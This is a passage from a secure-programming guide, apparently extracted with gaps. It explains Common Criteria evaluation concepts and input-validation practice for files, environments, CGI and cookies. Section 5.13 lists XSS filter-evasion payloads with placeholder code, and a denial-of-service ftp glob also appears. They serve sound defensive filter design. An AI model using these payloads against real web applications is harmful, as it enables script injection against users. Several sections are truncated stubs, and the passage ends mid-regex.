Although the CC is International Standard ISO/IEC 15408:1999, it is outrageously expensive to order the CC from ISO. Hopefully someday ISO will follow the lead of other standards organizations such as the IETF and the W3C, which freely redistribute standards. Not surprisingly, IETF and W3C standards are followed more often than many ISO standards, in part because ISO’s fees for standards simply make them inaccessible to most developers. (I don’t mind authors being paid for their work, but ISO doesn’t fund most of the standards development work - indeed, many of the developers of ISO documents are volunteers - so ISO’s indefensible fees only line their own pockets and don’t actually aid the authors or users at all.) Thankfully, the CC developers anticipated this problem and have made sure that the CC’s technical content is freely available to all; you can download the CC’s technical content from http://csrc.nist.gov/cc/ccv20/ccv2list.htm Even those doing formal evaluation processes usually use these editions of the CC, and not the ISO versions; there’s simply no good reason to pay ISO for them.

Although it can be used in other ways, the CC is typically used to create two kinds of documents, a “Protection Profile” (PP) or a “Security Target” (ST). A “protection profile” (PP) is a document created by group of users (for example, a consumer group or large organization) that identifies the desired security properties of a product. Basically, a PP is a list of user security requirements, described in a very specific way defined by the CC. If you’re building a product similar to other existing products, it’s quite possible that there are one or more PPs that define what some users believe are necessary for that kind of product (e.g., an operating system or firewall). A “security target” (ST) is a document that identifies what a product actually does, or a subset of it, that is security-relevant. An ST doesn’t need to meet the requirements of any particular PP, but an ST could meet the requirements of one or more PPs.

Both PPs and STs can go through a formal evaluation. An evaluation of a PP simply ensures that the PP meets various documentation rules and sanity checks. An ST evaluation involves not just examining the ST document, but more importantly it involves evaluating an actual system (called the “target of evaluation”, or TOE). The purpose of an ST evaluation is to ensure that, to the level of the assurance requirements specified by the ST, the actual product (the TOE) meets the ST’s security functional requirements. Customers can then compare evaluated STs to PPs describing what they want. Through this comparison, consumers can determine if the products meet their requirements - and if not, where the limitations are.

To create a PP or ST, you go through a process of identifying the security environment, namely, your assumptions, threats, and relevant organizational security policies (if any). From the security environment, you derive the security objectives for the product or product type. Finally, the security requirements are selected so that they meet the objectives. There are two kinds of security requirements: functional requirements (what a product has to be able to do), and assurance requirements (measures to inspire confidence that the objectives have been met). Actually creating a PP or ST is often not a simple straight line as outlined here, but the final result needs to show a clear relationship so that no critical point is easily overlooked. Even if you don’t plan to write an ST or PP, the ideas in the CC can still be helpful; the process of identifying the security environment, objectives, and requirements is still helpful in identifying what’s really important.

The vast majority of the CC’s text is used to define standardized functional requirements and assurance requirements. In essence, the majority of the CC is a “chinese menu” of possible security requirements that someone might want. PP authors pick from the various options to describe what they want, and ST authors pick from the options to describe what they provide.

Since many people might have difficulty identifying a reasonable set of assurance requirements, so pre-created sets of assurance requirements called “evaluation assurance levels” (EALs) have been defined, ranging from 1 to 7. EAL 2 is simply a standard shorthand for the set of assurance requirements defined for EAL 2. Products can add additional assurance measures, for example, they might choose EAL 2 plus some additional assurance measures (if the combination isn’t enough to achieve a higher EAL level, such a combination would be called "EAL 2 plus"). There are mutual recognition agreements signed between many of the world’s nations that will accept an evaluation done by an accredited laboratory in the other countries as long as all of the assurance measures taken were at the EAL 4 level or less.

If you want to actually write an ST or PP, there’s an open source software program that can help you, called the “CC Toolbox”. It can make sure that dependencies between requirements are met, suggest common requirements, and help you quickly develop a document, but it obviously can’t do your thinking for you. The specification of exactly what information must be in a PP or ST are in CC part 1, annexes B and C respectively.

If you do decide to have your product (or PP) evaluated by an accredited laboratory, be prepared to spend money, spend time, and work throughout the process. In particular, evaluations require paying an accredited lab to do the evaluation, and higher levels of assurance become rapidly more expensive. Simply believing your product is secure isn’t good enough; evaluators will require evidence to justify any claims made. Thus, evaluations require documentation, and usually the available documentation has to be improved or developed to meet CC requirements (especially at the higher assurance levels). Every claim has to be justified to some level of confidence, so the more claims made, the stronger the claims, and the more complicated the design, the more expensive an evaluation is. Obviously, when flaws are found, they will usually need to be fixed. Note that a laboratory is paid to evaluate a product and determine the truth. If the product doesn’t meet its claims, then you basically have two choices: fix the product, or change (reduce) the claims.

It’s important to discuss with customers what’s desired before beginning a formal ST evaluation; an ST that includes functional or assurance requirements not truly needed by customers will be unnecessarily expensive to evaluate, and an ST that omits necessary requirements may not be acceptable to the customers (because that necessary piece won’t have been evaluated). PPs identify such requirements, but make sure that the PP accurately reflects the customer’s real requirements (perhaps the customer only wants a part of the functionality or assurance in the PP, or has a different environment in mind, or wants something else instead for the situations where your product will be used). Note that an ST need not include every security feature in a product; an ST only states what will be (or has been) evaluated. A product that has a higher EAL rating is not necessarily more secure than a similar product with a lower rating or no rating; the environment might be different, the evaluation may have saved money and time by not evaluating the other product at a higher level, or perhaps the evaluation missed something important. Evaluations are not proofs; they simply impose a defined minimum bar to gain confidence in the requirements or product.

4.2. Security Environment and Objectives

The first step in defining a PP or ST is identify the “security environment”. This means that you have to consider the physical environment (can attackers access the computer hardware?), the assets requiring protection (files, databases, authorization credentials, and so on), and the purpose of the TOE (what kind of product is it? what is the intended use?).

In developing a PP or ST, you'd end up with a statement of assumptions (who is trusted? is the network or platform benign?), threats (that the system or its environment must counter), and organizational security policies (that the system or its environment must meet). A threat is characterized in terms of a threat agent (who might perform the attack?), a presumed attack method, any vulnerabilities that are the basis for the attack, and what asset is under attack.

You'd then define a set of security objectives for the system and environment, and show that those objectives counter the threats and satisfy the policies. Even if you aren’t creating a PP or ST, thinking about your assumptions, threats, and possible policies can help you avoid foolish decisions. For example, if the computer network you’re using can be sniffed (e.g., the Internet), then unencrypted passwords are a foolish idea in most circumstances.

For the CC, you'd then identify the functional and assurance requirements that would be met by the TOE, and which ones would be met by the environment, to meet those security objectives. These requirements would be selected from the “chinese menu” of the CC’s possible requirements, and the next sections will briefly describe the major classes of requirements. In the CC, requirements are grouped into classes, which are subdivided into families, which are further subdivided into components; the details of all this are in the CC itself if you need to know about this. A good diagram showing how this works is in the CC part 1, figure 4.5, which I cannot reproduce here.

Again, if you’re not intending for your product to undergo a CC evaluation, it’s still good to briefly determine this kind of information and informally write include that information in your documentation (e.g., the man page or whatever your documentation is).

4.3. Security Functionality Requirements

This section briefly describes the CC security functionality requirements (by CC class), primarily to give you an idea of the kinds of security requirements you might want in your software. If you want more detail about the CC’s requirements, see CC part 2. Here are the major classes of CC security requirements, along with the 3-letter CC abbreviation for that class:

• Security Audit (FAU). Perhaps you’ll need to recognize, record, store, and analyze security-relevant activities. You’ll need to identify what you want to make auditable, since often you can’t leave all possible auditing capabilities enabled. Also, consider what to do when there’s no room left for auditing - if you stop the system, an attacker may intentionally do things to be logged and thus stop the system.

• Communication/Non-repudiation (FCO). This class is poorly named in the CC; officially it’s called communication, but the real meaning is non-repudiation. Is it important that an originator cannot deny having sent a message, or that a recipient cannot deny having received it? There are limits to how well technology itself can support non-repudiation (e.g., a user might be able to give their private key away ahead of time if they wanted to be able to repudiate something later), but nevertheless for some applications supporting non-repudiation capabilities is very useful.

• Cryptographic Support (FCS). If you’re using cryptography, what operations use cryptography, what algorithms and key sizes are you using, and how are you managing their keys (including distribution and destruction)?

• User Data Protection (FDP). This class specifies requirement for protecting user data, and is a big class in the CC with many families inside it. The basic idea is that you should specify a policy for data (access control or information flow rules), develop various means to implement the policy, possibly support off-line storage, import, and export, and provide integrity when transferring user data between TOEs. One often-forgotten issue is residual information protection - is it acceptable if an attacker can later recover “deleted” data?

• Identification and authentication (FIA). Generally you don’t just want a user to report who they are (identification) - you need to verify their identity, a process called authentication. Passwords are the most common mechanism for authentication. It’s often useful to limit the number of authentication attempts (if you can) and limit the feedback during authentication (e.g., displaying asterisks instead of the actual password). Certainly, limit what a user can do before authenticating; in many cases, don’t let the user do anything without authenticating. There may be many issues controlling when a session can start, but in the CC world this is handled by the "TOE access" (FTA) class described below instead.

• Security Management (FMT). Many systems will require some sort of management (e.g., to control who can do what), generally by those who are given a more trusted role (e.g., administrator). Be sure you think through what those special operations are, and ensure that only those with the trusted roles can invoke them. You want to limit trust; ideally, even more trusted roles should be limited in what they can do.

• Privacy (FPR). Do you need to support anonymity, pseudonymity, unlinkability, or unobservability? If so, are there conditions where you want or don’t want these (e.g., should an administrator be able to determine the real identity of someone hiding behind a pseudonym?). Note that these can seriously conflict with non-repudiation, if you want those too. If you’re worried about sophisticated threats, these functions can be hard to provide.

• Protection of the TOE Security Functions/Self-protection (FPT). Clearly, if the TOE can be subverted, any security functions it provides aren’t worthwhile, and in many cases a TOE has to provide at least some self-protection. Perhaps you should "test the underlying abstract machine" - i.e., test that the underlying components meet your assumptions, or have the product run self-tests (say during start-up, periodically, or on request). You should probably "fail secure", at least under certain conditions; determine what those conditions are. Consider phyical protection of the TOE. You may want some sort of secure recovery function after a failure. It’s often useful to have replay detection (detect when an attacker is trying to replay older actions) and counter it. Usually a TOE must make sure that any access checks are always invoked and actually succeed before performing a restricted action.

• Resource Utilization (FRU). Perhaps you need to provide fault tolerance, a priority of service scheme, or support resource allocation (such as a quota system).

• TOE Access (FTA). There may be many issues controlling sessions. Perhaps there should be a limit on the number of concurrent sessions (if you’re running a web service, would it make sense for the same user to be logged in simultaneously, or from two different machines?). Perhaps you should lock or terminate a session automatically (e.g., after a timeout), or let users initiate a session lock. You might want to include a standard warning banner. One surprisingly useful piece of information is displaying, on login, information about the last session (e.g., the date/time and location of the last login) and the date/time of the last unsuccessful attempt - this gives users information that can help them detect interlopers. Perhaps sessions can only be established based on other criteria (e.g., perhaps you can only use the program during business hours).

• Trusted path/channels (FTP). A common trick used by attackers is to make the screen appear to be something it isn’t, e.g., run an ordinary program that looks like a login screen or a forged web site. Thus, perhaps there needs to be a "trusted path" - a way that users can ensure that they are talking to the "real" program.

4.4. Security Assurance Measure Requirements

As noted above, the CC has a set of possible assurance requirements that can be selected, and several predefined sets of assurance requirements (EAL levels 1 through 7). Again, if you’re actually going to go through a CC evaluation, you should examine the CC documents; I’ll skip describing the measures involving reviewing official CC documents (evaluating PPs and STs). Here are some assurance measures that can increase the confidence others have in your software:

• Configuration management (ACM). At least, have unique a version identifier for each TOE release, so that users will know what they have. You gain more assurance if you have good automated tools to control your software, and have separate version identifiers for each piece (typical CM tools like CVS can do this, although CVS doesn’t record changes as atomic changes which is a weakness of it). The more that’s under configuration management, the better; don’t just control your code, but also control documentation, track all problem reports (especially security-related ones), and all development tools.

• Delivery and operation (ADO). Your delivery mechanism should ideally let users detect unauthorized modifications to prevent someone else masquerading as the developer, and even better, prevent modification in the first place. You should provide documentation on how to securely install, generate, and start-up the TOE, possibly generating a log describing how the TOE was generated.

• Development (ADV). These CC requirements deal with documentation describing the TOE implementation, and that they need to be consistent between each other (e.g., the information in the ST, functional specification, high-level design, low-level design, and code, as well as any models of the security policy).

• Guidance documents (AGD). Users and administrators of your product will probably need some sort of guidance to help them use it correctly. It doesn’t need to be on paper; on-line help and "wizards" can help too. The guidance should include warnings about actions that may be a problem in a secure environemnt, and describe how to use the system securely.

• Life-cycle support (ALC). This includes development security (securing the systems being used for development, including physical security), a flaw remediation process (to track and correct all security flaws), and selecting development tools wisely.

• Tests (ATE). Simply testing can help, but remember that you need to test the security functions and not just general functions. You should check if something is set to permit, it’s permitted, and if it’s forbidden, it is no longer permitted. Of course, there may be clever ways to subvert this, which is what vulnerability assessment is all about (described next).

• Vulnerability Assessment (AVA). Doing a vulnerability analysis is useful, where someone pretends to be an attacker and tries to find vulnerabilities in the product using the available information, including documentation (look for "don’t do X" statements and see if an attacker could exploit them) and publicly known past vulnerabilities of this or similar products. This book describes various ways of countering known vulnerabilities of previous products to problems such as replay attacks (where known-good information is stored and retransmitted), buffer overflow attacks, race conditions, and other issues that the rest of this book describes. The user and administrator guidance documents should be examined to ensure that misleading, unreasonable, or conflicting guidance is removed, and that secrity procedures for all modes of operation have been addressed. Specialized systems may need to worry about covert channels; read the CC if you wish to learn more about covert channels.

• Maintenance of assurance (AMA). If you’re not going through a CC evaluation, you don’t need a formal AMA process, but all software undergoes change. What is your process to give all your users strong confidence that future changes to your software will not create new vulnerabilities? For example, you could establish a process where multiple people review any proposed changes.

5.1. Basics of input validation

First, make sure you identify all inputs from potentially untrusted users, so that you validate them all. Where you can, eliminate the inputs or make it impossible for untrusted users to provide information to them. At each remaining input from potentially untrusted users you need to validate the data that comes in.

You should determine what is legal, as narrowly as you reasonably can, and reject anything that does not match that definition. The rules that define what is legal, and by implication reject everything else, are called a whitelist. Do not do the reverse, that is, do not try to identify what is illegal and write code to reject those cases. This bad approach, where you try to list everything that should be rejected, is called blacklisting; the list of inputs that should be rejected is called a blacklist. Blacklisting typically leads to security vulnerabilities, because you are likely to forget to handle one or more important cases of illegal input. Improper input validation is such a common cause of security vulnerabilities that it has its own CWE identifier, CWE-20.

There is a good reason for identifying “illegal” values, though, and that’s as a set of tests to be sure that your validation code is thorough. These tests may possibly just executed in your head, but at least a few should become test cases. When I set up an input filter, I mentally attack my whitelist with a few pre-identified illegal values to make sure that a few obvious illegal values will not get through. Depending on the input, here are a few examples of common “illegal” values that your input filters may need to prevent: the empty string, “.”, “..”, “../”, anything starting with “/” or “.”, anything with “/” or “&” inside it, any control characters (especially NIL and newline), and/or any characters with the “high bit” set (especially values decimal 254 and 255, and character 133 is the Unicode Next-of-line character used by OS/390). Again, your code should not be checking for “bad” values; you should do this check mentally to be sure that your pattern ruthlessly limits input values to legal values. If your pattern isn’t sufficiently narrow, you need to carefully re-examine the pattern to see if there are other problems.

Limit the maximum character length (and minimum length if appropriate), and be sure to not lose control when such lengths are exceeded (see Chapter 6 for more about buffer overflows).

Here are a few common data types, and things you should validate before using them from an untrusted user:

• For strings, identify the legal characters or legal patterns (e.g., as a regular expression) and reject anything not matching that form. There are special problems when strings contain control characters (especially linefeed or NIL) or metacharacters (especially shell metacharacters); it is often best to “escape” such metacharacters immediately when the input is received so that such characters are not accidentally sent. CERT goes further and recommends escaping all characters that aren’t in a list of characters not needing escaping [CERT 1998, CMU 1998]. See Section 8.3 for more information on metacharacters. Note that line ending encodings vary on different computers: Unix-based systems use character 0x0a (linefeed), CP/M and DOS based systems (including Windows) use 0x0d 0x0a (carriage-return linefeed, and some programs incorrectly reverse the order), the Apple MacOS uses 0x0d (carriage return), and IBM OS/390 uses 0x85 (0x85) (next line, sometimes called newline).

• Limit all numbers to the minimum (often zero) and maximum allowed values.

• A full email address checker is actually quite complicated, because there are legacy formats that greatly complicate validation if you need to support all of them; see mailaddr(7) and IETF RFC 822 [RFC 822] for more information if such checking is necessary. Friedl [1997] developed a regular expression to check if an email address is valid (according to the specification); his “short” regular expression is 4,724 characters, and his “optimized” expression (in appendix B) is 6,598 characters long. And even that regular expression isn’t perfect; it can’t recognize local email addresses, and it can’t handle nested parentheses in comments (as the specification permits). Often you can simplify and only permit the “common” Internet address formats.

• Filenames should be checked; see Section 5.6 for more information on filenames.

• URIs (including URLs) should be checked for validity. If you are directly acting on a URI (i.e., you’re implementing a web server or web-server-like program and the URL is a request for your data), make sure the URI is valid, and be especially careful of URIs that try to “escape” the document root (the area of the filesystem that the server is responding to). The most common ways to escape the document root are via “..” or a symbolic link, so most servers check any “..” directories themselves and ignore symbolic links unless specially directed. Also remember to decode any encoding first (via URL encoding or UTF-8 encoding), or an encoded “..” could slip through. URIs aren’t supposed to even include UTF-8 encoding, so the safest thing is to reject any URIs that include characters with high bits set.

  If you are implementing a system that uses the URI/URL as data, you’re not home-free at all; you need to ensure that malicious users can’t insert URIs that will harm other users. See Section 5.13.4 for more information about this.

• When accepting cookie values, make sure to check the the domain value for any cookie you’re using is the expected one. Otherwise, a (possibly cracked) related site might be able to insert spoofed cookies. Here’s an example from IETF RFC 2965 of how failing to do this check could cause a problem:

  • User agent makes request to victim.cracker.edu, gets back cookie session_id="1234" and sets the default domain victim.cracker.edu.

  • User agent makes request to spoof.cracker.edu, gets back cookie session-id="1111", with Domain=".cracker.edu".

  • User agent makes request to victim.cracker.edu again, and passes:

    Cookie: $Version="1"; session_id="1234", $Version="1"; session_id="1111"; $Domain=".cracker.edu"

    The server at victim.cracker.edu should detect that the second cookie was not one it originated by noticing that the Domain attribute is not for itself and ignore it.

Unless you account for them, the legal character patterns must not include characters or character sequences that have special meaning to either the program internals or the eventual output:

• A character sequence may have special meaning to the program’s internal storage format. For example, if you store data (internally or externally) in delimited strings, make sure that the delimiters are not permitted data values. A number of programs store data in comma (,) or colon (:) delimited text files; inserting the delimiters in the input can be a problem unless the program accounts for it (i.e., by preventing it or encoding it in some way). Other characters often causing these problems include single and double quotes (used for surrounding strings) and the less-than sign "<" (used in SGML, XML, and HTML to indicate a tag’s beginning; this is important if you store data in these formats). Most data formats have an escape sequence to handle these cases; use it, or filter such data on input.

• A character sequence may have special meaning if sent back out to a user. A common example of this is permitting HTML tags in data input that will later be posted to other readers (e.g., in a guestbook or “reader comment” area). However, the problem is much more general. See Section 7.16 for a general discussion on the topic, and see Section 5.13 for a specific discussion about filtering HTML.

These tests should usually be centralized in one place so that the validity tests can be easily examined for correctness later.

Make sure that your validity test is actually correct; this is particularly a problem when checking input that will be used by another program (such as a filename, email address, or URL). Often these tests have subtle errors, producing the so-called “deputy problem” (where the checking program makes different assumptions than the program that actually uses the data). If there’s a relevant standard, look at it, but also search to see if the program has extensions that you need to know about.

While parsing user input, it’s a good idea to temporarily drop all privileges, or even create separate processes (with the parser having permanently dropped privileges, and the other process performing security checks against the parser requests). This is especially true if the parsing task is complex (e.g., if you use a lex-like or yacc-like tool), or if the programming language doesn’t protect against buffer overflows (e.g., C and C++). See Section 7.4 for more information on minimizing privileges.

When using data for security decisions (e.g., “let this user in”), be sure to use trustworthy channels. For example, on a public Internet, don’t just use the machine IP address or port number as the sole way to authenticate users, because in most environments this information can be set by the (potentially malicious) user. See Section 7.12 for more information.

5.2. Input Validation Tools including Regular Expressions

There are many ways to validate input. Number ranges can be checked using typical condtions such as less-than. If a string can only be one of a short list of possibilities, simply enumerate the possibilities and ensure that the input is one of them. If the input is extremely complex, tools often used to create compilers (such as lexers and parser generators) may be appropriate, though be sure that these tools are prepared to process malicious input.

In many cases regular expression libraries are especially useful for input validation. Many whitelists are easily expressed as regular expressions, making them a very easy tool to use. In addition, regular expression libraries are built-in or easily available in almost all language (the POSIX specification even requires one).

5.3. Command line

Many programs take input from the command line. A setuid/setgid program’s command line data is provided by an untrusted user, so a setuid/setgid program must defend itself from potentially hostile command line values. Attackers can send just about any kind of data through a command line (through calls such as the execve(3) call). Therefore, setuid/setgid programs must completely validate the command line inputs and must not trust the name of the program reported by command line argument zero (an attacker can set it to any value including NULL).

5.4. Environment Variables

By default, environment variables are inherited from a process’ parent. However, when a program executes another program, the calling program can set the environment variables to arbitrary values. This is dangerous to setuid/setgid programs, because their invoker can completely control the environment variables they’re given. Since they are usually inherited, this also applies transitively; a secure program might call some other program and, without special measures, would pass potentially dangerous environment variables values on to the program it calls. The following subsections discuss environment variables and what to do with them.

5.5. File Descriptors

A program is passed a set of “open file descriptors”, that is, pre-opened files. A setuid/setgid program must deal with the fact that the user gets to select what files are open and to what (within their permission limits). A setuid/setgid program must not assume that opening a new file will always open into a fixed file descriptor id, or that the open will succeed at all. It must also not assume that standard input (stdin), standard output (stdout), and standard error (stderr) refer to a terminal or are even open.

The rationale behind this is easy; since an attacker can open or close a file descriptor before starting the program, the attacker could create an unexpected situation. If the attacker closes the standard output, when the program opens the next file it will be opened as though it were standard output, and then it will send all standard output to that file as well. Some C libraries will automatically open stdin, stdout, and stderr if they aren’t already open (to /dev/null), but this isn’t true on all Unix-like systems. Also, these libraries can’t be completely depended on; for example, on some systems it’s possible to create a race condition that causes this automatic opening to fail (and still run the program).

5.6. File Names

The names of files can, in certain circumstances, cause serious problems. This is especially a problem for secure programs that run on computers with local untrusted users, but this isn’t limited to that circumstance. Remote users may be able to trick a program into creating undesirable filenames (programs should prevent this, but not all do), or remote users may have partially penetrated a system and try using this trick to penetrate the rest of the system.

Usually you will want to not include “..” (higher directory) as a legal value from an untrusted user, though that depends on the circumstances. You might also want to list only the characters you will permit, and forbidding any filenames that don’t match the list. It’s best to prohibit any change in directory, e.g., by not including “/” in the set of legal characters, if you’re taking data from an external user and transforming it into a filename.

Often you shouldn’t support “globbing”, that is, expanding filenames using “*”, “?”, “[” (matching “]”), and possibly “{” (matching “}”). For example, the command “ls *.png” does a glob on “*.png” to list all PNG files. The C fopen(3) command (for example) doesn’t do globbing, but the command shells perform globbing by default, and in C you can request globbing using (for example) glob(3). If you don’t need globbing, just use the calls that don’t do it where possible (e.g., fopen(3)) and/or disable them (e.g., escape the globbing characters in a shell). Be especially careful if you want to permit globbing. Globbing can be useful, but complex globs can take a great deal of computing time. For example, on some ftp servers, performing a few of these requests can easily cause a denial-of-service of the entire machine:

ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*

Unix-like systems generally forbid including the NIL character in a filename (since this marks the end of the name) and the “/” character (since this is the directory separator). However, they often permit anything else, which is a problem; it is easy to write programs that can be subverted by cleverly-created filenames.

Filenames that can especially cause problems include:

• Filenames with leading dashes (-). If passed to other programs, this may cause the other programs to misinterpret the name as option settings. Ideally, Unix-like systems shouldn’t allow these filenames; they aren’t needed and create many unnecessary security problems. Unfortunately, currently developers have to deal with them. Thus, whenever calling another program with a filename, insert “--” before the filename parameters (to stop option processing, if the program supports this common request) or modify the filename (e.g., insert “./” in front of the filename to keep the dash from being the lead character).

• Filenames with control characters. This especially includes newlines and carriage returns (which are often confused as argument separators inside shell scripts, or can split log entries into multiple entries) and the ESCAPE character (which can interfere with terminal emulators, causing them to perform undesired actions outside the user’s control). Ideally, Unix-like systems shouldn’t allow these filenames either; they aren’t needed and create many unnecessary security problems.

• Filenames with spaces; these can sometimes confuse a shell into being multiple arguments, with the other arguments causing problems. Since other operating systems allow spaces in filenames (including Windows and MacOS), for interoperability’s sake this will probably always be permitted. Please be careful in dealing with them, e.g., in the shell use double-quotes around all filename parameters whenever calling another program. You might want to forbid leading and trailing spaces at least; these aren’t as visible as when they occur in other places, and can confuse human users.

• Invalid character encoding. For example, a program may believe that the filename is UTF-8 encoded, but it may have an invalidly long UTF-8 encoding. See Section 5.11.2 for more information. I’d like to see agreement on the character encoding used for filenames (e.g., UTF-8), and then have the operating system enforce the encoding (so that only legal encodings are allowed), but that hasn’t happened at this time.

• Another other character special to internal data formats, such as “<”, “;”, quote characters, backslash, and so on.

5.7. File Contents

If a program takes directions from a file, it must not trust that file specially unless only a trusted user can control its contents. Usually this means that an untrusted user must not be able to modify the file, its directory, or any of its ancestor directories. Otherwise, the file must be treated as suspect.

If the directions in the file are supposed to be from an untrusted user, then make sure that the inputs from the file are protected as describe throughout this book. In particular, check that values match the set of legal values, and that buffers are not overflowed.

5.8. Web-Based Application Inputs (Especially CGI Scripts)

Web-based applications (such as CGI scripts) run on some trusted server and must get their input data somehow through the web. Since the input data generally come from untrusted users, this input data must be validated. Indeed, this information may have actually come from an untrusted third party; see Section 7.16 for more information. For example, CGI scripts are passed this information through a standard set of environment variables and through standard input. The rest of this text will specifically discuss CGI, because it’s the most common technique for implementing dynamic web content, but the general issues are the same for most other dynamic web content techniques.

One additional complication is that many CGI inputs are provided in so-called “URL-encoded” format, that is, some values are written in the format %HH where HH is the hexadecimal code for that byte. You or your CGI library must handle these inputs correctly by URL-decoding the input and then checking if the resulting byte value is acceptable. You must correctly handle all values, including problematic values such as %00 (NIL) and %0A (newline). Don’t decode inputs more than once, or input such as “%2500” will be mishandled (the %25 would be translated to “%”, and the resulting “%00” would be erroneously translated to the NIL character).

CGI scripts are commonly attacked by including special characters in their inputs; see the comments above.

Another form of data available to web-based applications are “cookies.” Again, users can provide arbitrary cookie values, so they cannot be trusted unless special precautions are taken. Also, cookies can be used to track users, potentially invading user privacy. As a result, many users disable cookies, so if possible your web application should be designed so that it does not require the use of cookies (but see my later discussion for when you must authenticate individual users). I encourage you to avoid or limit the use of persistent cookies (cookies that last beyond a current session), because they are easily abused. Indeed, U.S. agencies are currently forbidden to use persistent cookies except in special circumstances, because of the concern about invading user privacy; see the OMB guidance in memorandum M-00-13 (June 22, 2000). Specific guidance about cookies applies to the U.S. Department of Defense (DoD), which is part of the DoD guidance to webmasters. Note that to use cookies, some browsers may insist that you have a privacy profile (named p3p.xml on the root directory of the server).

Some HTML forms include client-side input checking to prevent some illegal values; these are typically implemented using Javascript/ECMAscript or Java. This checking can be helpful for the user, since it can happen “immediately” without requiring any network access. However, this kind of input checking is useless for security, because attackers can send such “illegal” values directly to the web server without going through the checks. It’s not even hard to subvert this; you don’t have to write a program to send arbitrary data to a web application. In general, servers must perform all their own input checking (of form data, cookies, and so on) because they cannot trust clients to do this securely. In short, clients are generally not “trustworthy channels”. See Section 7.12 for more information on trustworthy channels.

A brief discussion on input validation for those using Microsoft’s Active Server Pages (ASP) is available from Jerry Connolly at http://heap.nologin.net/aspsec.html

5.9. Other Inputs

Programs must ensure that all inputs are controlled; this is particularly difficult for setuid/setgid programs because they have so many such inputs. Other inputs programs must consider include the current directory, signals, memory maps (mmaps), System V IPC, pending timers, resource limits, the scheduling priority, and the umask (which determines the default permissions of newly-created files). Consider explicitly changing directories (using chdir(2)) to an appropriately fully named directory at program startup.

5.10. Human Language (Locale) Selection

As more people have computers and the Internet available to them, there has been increasing pressure for programs to support multiple human languages and cultures. This combination of language and other cultural factors is usually called a “locale”. The process of modifying a program so it can support multiple locales is called “internationalization” (i18n), and the process of providing the information for a particular locale to a program is called “localization” (l10n).

Overall, internationalization is a good thing, but this process provides another opportunity for a security exploit. Since a potentially untrusted user provides information on the desired locale, locale selection becomes another input that, if not properly protected, can be exploited.

 [A-Za-z][A-Za-z0-9_,+@\-\.=]*

 ^[A-Za-z]+(_[A-Za-z]+)?
 (\.[A-Z]+(\-[A-Z0-9]+)*)?
 (\@[A-Za-z0-9]+(\=[A-Za-z0-9\-]+)
  (,[A-Za-z0-9]+(\=[A-Za-z0-9\-]+))*)?$

5.11. Character Encoding

5.12. Prevent Cross-site Malicious Content on Input

Some programs accept data from one untrusted user and pass that data on to a second user; the second user’s application may then process that data in a way harmful to the second user. This is a particularly common problem for web applications, we’ll call this problem “cross-site malicious content.” In short, you cannot accept input (including any form data) without checking, filtering, or encoding it. For more information, see Section 7.16.

Fundamentally, this means that all web application input must be filtered (so characters that can cause this problem are removed), encoded (so the characters that can cause this problem are encoded in a way to prevent the problem), or validated (to ensure that only “safe” data gets through). Filtering and validation should often be done at the input, but encoding can be done either at input or output time. If you’re just passing the data through without analysis, it’s probably better to encode the data on input (so it won’t be forgotten), but if you’re processing the data, there are arguments for encoding on output instead.

5.13. Filter HTML/URIs That May Be Re-presented

One special case where cross-site malicious content must be prevented are web applications which are designed to accept HTML or XHTML from one user, and then send it on to other users (see Section 7.16 for more information on cross-site malicious content). The following subsections discuss filtering this specific kind of input, since handling it is such a common requirement.

   <SCRIPT>
   </COMMENT>
   <!-- --> -->

  <_a<script>
  <<script>        (Note: this was found by BugSan)

  <b onmousover="...">go here</b>
  <img [line_break] src="javascript:alert(document.location)">

  <a href="javas&#99;ript&#35;[code]">
  <div onmouseover="[code]">
  <img src="javascript:[code]">
  <img dynsrc="javascript:[code]"> [IE]
  <input type="image" dynsrc="javascript:[code]"> [IE]
  <bgsound src="javascript:[code]"> [IE]
  &<script>[code]</script>
  &{[code]}; [N4]
  <img src=&{[code]};> [N4]
  <link rel="stylesheet" href="javascript:[code]">
  <iframe src="vbscript:[code]"> [IE]
  <img src="mocha:[code]"> [N4]
  <img src="livescript:[code]"> [N4]
  <a href="about:<s&#99;ript>[code]</script>">
  <meta http-equiv="refresh" content="0;url=javascript:[code]">
  <body onload="[code]">
  <div style="background-image: url(javascript:[code]);">
  <div style="behaviour: url([link to code]);"> [IE]
  <div style="binding: url([link to code]);"> [Mozilla]
  <div style="width: expression([code]);"> [IE]
  <style type="text/javascript">[code]</style> [N4]
  <object classid="clsid:..." codebase="javascript:[code]"> [IE]
  <style><!--</style><script>[code]//--></script>
  <!-- -- --><script>[code]</script><!-- -- -->
  <<script>[code]</script>
  <img src="blah"onmouseover="[code]">
  <img src="blah>" onmouseover="[code]">
  <xml src="javascript:[code]">
  <xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>
    <div datafld="b" dataformatas="html" datasrc="#X"></div>
  [\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera]
  <![CDATA[<!--]] ><script>[code]//--></script>

scheme://authority[path][?query][#fragment]

 [username[:password]@]host[:portnumber]

path[?query][#fragment]

(http|ftp|https)://[-A-Za-z0-9._/]+

 (http|ftp|https)://[-A-Za-z0-9._]+(\/([A-Za-z0-9\-\_\.\!\~\*\'\(\)\%\?]+))*/?

 (
 (
  # Handle http, https, and relative URIs:
  ((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|
    ([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
   (\?(                                                              # query:
       (([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
        ([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+
        (\&([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
         ([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*)
       |
       (([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+  # isindex
       )
   ))?
   (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )|
 # Handle ftp:
